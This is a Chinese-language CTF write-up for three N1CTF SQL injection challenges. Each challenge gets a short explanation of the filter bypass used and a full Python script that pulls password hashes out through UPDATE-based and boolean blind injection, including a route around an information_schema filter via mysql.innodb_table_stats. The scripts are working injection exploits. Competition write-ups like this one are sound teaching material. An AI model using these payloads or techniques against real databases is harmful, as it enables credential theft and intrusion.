N1CTF三道SQL注入题Writeup

好久没更博客了水一篇。这次比赛全程师傅们带飞,我划水喊666就行orz

77777

题目环境关了,只记得关键的代码大概是

$sql = sprintf('update user set point=%d%s', $_POST['flag'], waf($_POST['hi']));

很明显的注入,过滤得也不严,脚本:

import requests
import re

url = "http://47.97.168.223:23333/#profile"
pattern = re.compile("<grey>My Points</grey> \| (.*?)<br/>", re.S)
payload = "+(select(ord(substr(password,{},1))))"
data = {"flag": 0, "hi": ''}
get = ''
for i in xrange(1, 33):
    data['hi'] = payload.format(str(i))
    r = requests.post(url, data = data)
    tmp = re.search(pattern, r.content)
    get += chr(int(tmp.group(1)))
    print get

77777 2

关键代码和上一题一样,只是过滤稍微严了一些,绕过方法是在pw两边加空格,把ord()改为conv(hex(),16,10),还过滤了2,3,4,5等数字,用1+1,1+1+1这样的方式来绕过即可,脚本:(看了其他师傅的脚本发现自己的脚本写得有点蠢,不过算了,老夫写代码就是一把梭.jpg)

import requests
import re

url = "http://47.52.137.90:20000/#profile"
pattern = re.compile("<grey>My Points</grey> \| (.*?)<br/>", re.S)
payload = "+(select(conv(hex(substr( pw ,{},1)),16,10)))"
data = {"flag": 0, "hi": ''}
get = ''
for i in xrange(1, 23):
    if i == 2:
        number = '1+1'
    elif i == 3:
        number = '1+1+1'
    elif i == 4:
        number = '1+1+1+1'
    elif i == 5:
        number = '1+1+1+1+1'
    elif i == 9:
        number = '8+1'
    elif i == 12:
        number = '11+1'
    elif i == 13:
        number = '11+1+1'
    elif i == 14:
        number = '11+1+1+1'
    elif i == 15:
        number = '11+1+1+1+1'
    elif i == 19:
        number = '18+1'
    elif i == 20:
        number = '18+1+1'
    elif i == 21:
        number = '18+1+1+1'
    elif i == 22:
        number = '18+1+1+1+1'
    else:
        number = str(i)
    data['hi'] = payload.format(number)
    r = requests.post(url, data = data)
    tmp = re.search(pattern, r.content)
    get += chr(int(tmp.group(1)))
    print get

babysqli

根据放出来的提示仔细观察,发现注册时在userinfo中注入执行结果为true的sql语句,用户的头像为1.png,注入结果为false的语句,头像为2.png,所以可根据此条件进行bool注入。测试发现过滤了information,但是依然可以通过查询mysql.innodb_table_stats表获得库名和表名(参考资料),然后猜到字段名为password即可注入出管理员账号的密码,登录后获取flag,注入脚本:

import requests
import re
import random

s = requests.session()

def reg(email, pwd, userinfo):
    url = "http://47.98.51.5:23333/vlogin/reg.php"
    data = {
        "email": email,
        "pass": pwd,
        "userinfo": userinfo
    }
    s.post(url, data = data)

def login(email, pwd):
    url = "http://47.98.51.5:23333/vlogin/login.php"
    data = {
        "loginuser": email,
        "loginpass": pwd
    }
    s.post(url, data = data)

def getImg():
    url = "http://47.98.51.5:23333/vlogin/vpage/index.php"
    pattern = re.compile("<img src=\"img/(.*?).png\" alt=\"profile2\">", re.S)
    r = s.get(url)
    img = re.search(pattern, r.content).group(1)
    if img == '1':
        return True
    else:
        return False

def getEmail():
    site = "@f.fs"
    name = str(random.randint(0,999999999999999))
    email = name + site
    return email

def main():
    #payload = "'=(ascii(substr((select(group_concat(database_name))from(mysql.innodb_table_stats)),{},1))>{})='"
    #payload = "'=(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name='n1ctf_2018_venenof7')),{},1))>{})='"
    payload = "'=(ascii(substr((select(group_concat(password))from(n1ctf_2018_venenof7.vusers)),{},1))>{})='"
    get = ""
    for i in xrange(1, 33):
        start = 32
        end = 126
        while start < end:
            mid = (start + end) / 2
            userinfo = payload.format(str(i), str(mid))
            email = getEmail()
            pwd = 123
            reg(email, pwd, userinfo)
            login(email, pwd)
            if getImg():
                start = mid + 1
            else:
                end = mid
        get += chr(start)
        print get

if __name__ == '__main__':
    main()

发表评论